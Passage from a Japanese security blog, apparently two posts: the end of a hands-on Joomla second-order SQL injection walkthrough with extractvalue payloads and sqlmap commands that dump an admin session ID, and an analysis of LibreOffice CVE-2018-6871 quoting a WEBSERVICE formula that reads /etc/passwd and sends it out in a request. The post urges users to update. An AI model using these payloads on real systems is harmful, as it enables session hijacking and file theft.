Extension developers need to use the string #__ to represent the prefix. This will be replaced by the real prefix during runtime by Joomla.

prefixに #__ を使うと、置き換えてくれると書いてあるようです。 試しに以下のリクエストを投げてみたところ、普通に成功しました。

extractvalue(0x0a,concat(0x0a,(select session_id from #__session where username='super')))

どうやら、prefixがSQL Injection緩和策に役立つことはなさそうです。 ということで無事に攻撃成功したので終わりです。

ちなみにテーブル名の抜き出しも一応検証しておこうということで、以下のようなリクエストも試してみました。

extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() and table_name like '%session')))

f:id:knqyf263:20180213140205p:plain

#__session が返ってきました。SQL Injectionが楽で便利。

sqlmap

これも解説記事に載っていたのですが、sqlmapはSecond Order SQL Injectionにも使えるようです。 今回の脆弱性を自動で見つけてくれるかは分からないのですが、ある程度パラメータなどの形を与えることでdumpなどは自動でやってくれるようです。 具体的には以下のような形。

extractvalue(0x0a,concat(0x0a,(select @@version where 1=1 *)))

この * のところがsqlmapにとってマーカの役割を果たし、ここをsqlmapが勝手に変更してSQL Injectionしてくれます。 あとはPOSTのリクエスト全体をテキストファイルで保存して、 admin_style のところを配列に変えて上記の値を入れてあげればsqlmapの準備は完了です。

(抜粋)
------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ
Content-Disposition: form-data; name="jform[params][admin_style][0]"

extractvalue(0x0a,concat(0x0a,(select @@version where 1=1 *)))

sqlmapはgit cloneして持ってくれば良いです。 -r でテキストファイルを読み込んでくれるので、以下のコマンドを実行します。

$ python sqlmap.py -r request.txt --dbms MySQL --second-order "http://localhost:10080/administrator/index.php" -D joomla --tables

バックエンドはMySQLと分かっており、DB名も joomla と分かっているのでその辺りは時間短縮のために指定しています。 そして --second-order で、Second Order SQL Injectionが実際に発動するURLを指定しています。 これは保存する場所と保存された値が利用される場所が違うためですね。 結果は以下のようになり、テーブル名が取得できています。

f:id:knqyf263:20180213141031p:plain

ついでにsession_idも抜き出しましょう。 --dump を指定してみます。

$ python sqlmap.py -r request.txt --dbms MySQL --second-order "http://localhost:10080/administrator/index.php" -D joomla --dump

f:id:knqyf263:20180213141451p:plain

カラム名が取得できない、と言われています。 この理由は特に調べてないです。 #__session は実際に存在しないテーブル名なので(実際は qpqau_session)、そのあたりが影響しているのかもしれません。

カラム名が分からない場合、良くあるカラム名で取得を試みてくれるようです。 sqlmapが以下にカラム名の辞書を持っていました。

sqlmap/common-columns.txt at 47bbcf90ea292e17e0c2a472ccc625a7989e9c16 · sqlmapproject/sqlmap · GitHub

Joomla!カラム名は既知で、今回はsession_idが欲しいだけなのでsession_idとだけ書いた辞書を保存しました。 defaultの辞書にもsession_idは含まれていたので、時間はかかりますが抜き出せます。

$ cat txt/joomla.txt
# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission

session_id

先程同様に --dump を付けて実行します。 customを指定して自分で作った辞書を指定します。

[10:16:04] [INFO] fetching columns for table '#__session' in database 'joomla'
[10:16:04] [WARNING] unable to retrieve column names for table '#__session' in database 'joomla'
do you want to use common column existence check? [y/N/q] y
which common columns (wordlist) file do you want to use?
[1] default '/Users/teppei/src/github.com/sqlmapproject/sqlmap/txt/common-columns.txt' (press Enter)
[2] custom
> 2
what's the custom common columns file location?
> txt/joomla.txt
[10:16:13] [INFO] checking column existence using items from 'txt/joomla.txt'
[10:16:13] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)]
[10:16:15] [WARNING] running in a single-thread mode. This could take a while
[10:16:15] [INFO] retrieved: session_id
[10:17:16] [INFO] fetching entries for table '#__session' in database 'joomla'
[10:17:16] [INFO] used SQL query returns 1 entries
[10:17:18] [INFO] retrieved: 61dd526b2b88c9eed275c09bf3be87f1

session_idが抜き出せているのがわかります。 sqlmap使うと実際の抜き出しは楽で良いですね。

まとめ

Joomla!は触ったことないので勉強がてら触ってみました。 Second Order SQL Injectionは実際にあるのを見ると面白いですね。 POSTでarrayにする、というのはすぐに思いつかないとダメ。 原理として知っているのと、実際に検証するのでは身につく度合いが全然違うかなと思います。

あとJoomla!のコードを読む際に、ジャンプできないことが多くて読むのかなり大変でした(なので合っているか自信がない)。 PHPとかは皆さんどうやってコードリーディングしてるんでしょうか。 ctagsやPhpStormのデフォルト設定では全然無理でした。

LibreOfficeの脆弱性(CVE-2018-6871) について調べてみた

休日ということでgolangを触ったことのないブラジル人からのIssueに対応したりして過ごしていたのですが、無事解決してめっちゃ感謝されるなどしてました。

github.com

この人がいつか誰かにこの恩を返して世界が平和になると良いですね(良い話)。 対応の過程でgoreleaserのバグを見つけて直そうかなと奮闘していたのですが、ちょっと疲れてニュースとか見てたらLibreOffice脆弱性(CVE-2018-6871)が話題になっていました。

github.com

リモートから任意のファイルが盗めるぞ!という話っぽいです。 Microsoft Officeを持っておらずLibreOffice使っている自分としては、少し調べてみたい気持ちになったので試してみました。LibreOfficeも年に2,3回しか起動しませんが。

概要

結論から言うと、外部にHTTPリクエストを飛ばす関数で"file://"とかするとローカルファイルが読めちゃうっていう良くあるやつでした。 原理としてはいつものやつね〜って感じで終わりだと思いますが、試してみると恐ろしく簡単に成功し、かつファイル開く時に何の警告も出ないので下手するとファイル盗まれても気づかないです。 クリックしただけで死ぬので怖くてLibreOfficeのファイル開けなくなりました。

6.0.1.1に上げたら成功しなくなったので、LibreOffice使ってる人は速やかにアップデートすることをおすすめします。 5.4.5/6.0.1より前のバージョンは影響あるらしいです。 (WEBSERVICE関数がサポートされたあとのバージョンに影響ありそうだから下限ある気がするのですが、今のところそういう情報は出てなかったです)

大事なことなのでもう一度言いますが、LibreOfficeを使っている人は早くアップデートしたほうが良いと思います

詳細

MicrosoftExcel 2013からWEBSERVICEという関数が追加されたらしいです(Excel使わないので全然知らない)。 support.office.com

これはインターネット(やイントラネット)上にあるデータをGETで取得してセル上に表示してくれる関数のようです。 以下のように書くとレスポンスのデータを表示してくれます。

=WEBSERVICE(“http://mywebservice.com/serviceEndpoint?searchString=Excel”) 

これはFILTERXML関数を使うことで、XMLをHTTPで取得し欲しいデータを取り出すような処理が想定されているとのことです。 以下はFILTERXMLと組み合わせた例(上のGitHubに載ってたやつ)。

=FILTERXML(WEBSERVICE("http://api.openweathermap.org/data/2.5/forecast?q=Copenhagen,dk&mode=xml&units=metric");"number(/weatherdata/forecast/time[2]/temperature/@value)")

先程のMicrosoftのドキュメントに以下のようにあります。

For protocols that aren’t supported, such as ftp:// or file://, WEBSERVICE returns the #VALUE! error value.

ftp://file:// などのサポートされてないプロトコルの場合はエラーを返すようです。 しかし、LibreOfficeにはこの制限がなかった、ということです。 そのため、ローカルファイルなどを好きに読み込めてしまいます。

ローカルファイルの読み込み

先程の発見者のページに以下のような例が載っていました。簡単ですね。。

=WEBSERVICE("/etc/passwd")

これは実際試してみたのでGIFを貼っておきます。 発見者がPoCを既にがっつり公開してますし絶対悪用される脆弱性な気がするので、いかに危険かを知ってもらって早くアップデートしてもらうのが重要かなと思っています。

f:id:knqyf263:20180210230327g:plain

見てもらえば分かりますが書いてある通り、特に何のひねりもなく成功します。

外部への送信

あとはこれを適当にGETのクエリパラメータに入れちゃえば好きなところに送れます。 以下は発見者による例です。

=WEBSERVICE("http://localhost:6000/?q=" & WEBSERVICE("/etc/passwd"))

一応これもGIF貼っておきます。 f:id:knqyf263:20180210231150g:plain

右でWEBSERVICE関数を入力したら左にリクエスト飛んできたって感じです。 GETリクエストのところにファイルの内容が入っています。

影響のあるOS

GNU/Linux, MS Windows, macOSなど全てのOSと書いてあります。 少し気になることがあって、MicrosoftWEBSERVICEドキュメントには以下のように書いてあります。

NOTE: This function may appear in the function gallery in Excel for Mac, but it relies on features of the Windows operating system, so it will not return results on Mac.

Macでは使えないよって書いてあるように見えます。なのでLibreOfficeMacでは影響ないのかなーと思ってMacで試したのですが普通に成功しました。LibreOfficeWEBSERVICEは違う方法で実装されて使えちゃったんですかね。不運。

影響のあるファイル形式

まず、Libre Calcは影響があり、発見者が公開しているようにfodsフォーマットは影響があります。また、odsフォーマットを開いても実行されました。xlsxも一応試してみたら成功したので、攻撃者がExcelファイルをメールで送ってきてLibreOfficeで開くと発動するということですね。

また、LibreOffice Calc以外でもcalcオブジェクトの埋め込みを使えば発動するようです。なのでCalcじゃないから安全ということではないとのこと。

怖い点

  • ファイル開いた時に警告とか出ない
  • ファイル開くだけでリクエストが飛ぶ

Microsoft OfficeではWEBSERVICE関数はデフォルトで有効ではなく、自分で有効にしないと使えないようです。マクロととかと同様ですかね。

ですが、LibreOfficeはデフォルトで使えました。特に自分は特殊な設定してないので、他の人も同じのはず。 そのため、ファイル開いただけでリクエストが飛びました。一旦保存したファイルを再度開いてもキャッシュ?があるのかリクエストは飛びませんでしたが、複製してから開いたら開くと同時にリクエストが飛びました。 開くだけで実行されて警告も出ないので、それっぽいファイルに偽装されたら絶対気づけないですね。

自分のMac環境では上記のような結果になりましたが、他のOSや環境だと異なる結果になるかもしれないです。

よく分かってないこと

上記GitHub上のFirst partを試して、ファイルオープン時に発動して怖っ!となって満足したのですが、実はSecond partもありました。 セルのタイプを~errorなどにすると...とありますが表計算ソフトよく分かってないので理解できませんでした。 ココらへんはExcelのプロが教えてくれることを期待してます。

まとめ

内容読んで試すまで10分ぐらいあれば出来るような脆弱性でした。 単純でかつ影響度が大きすぎるので、可及的速やかにアップデートしたほうが良いです。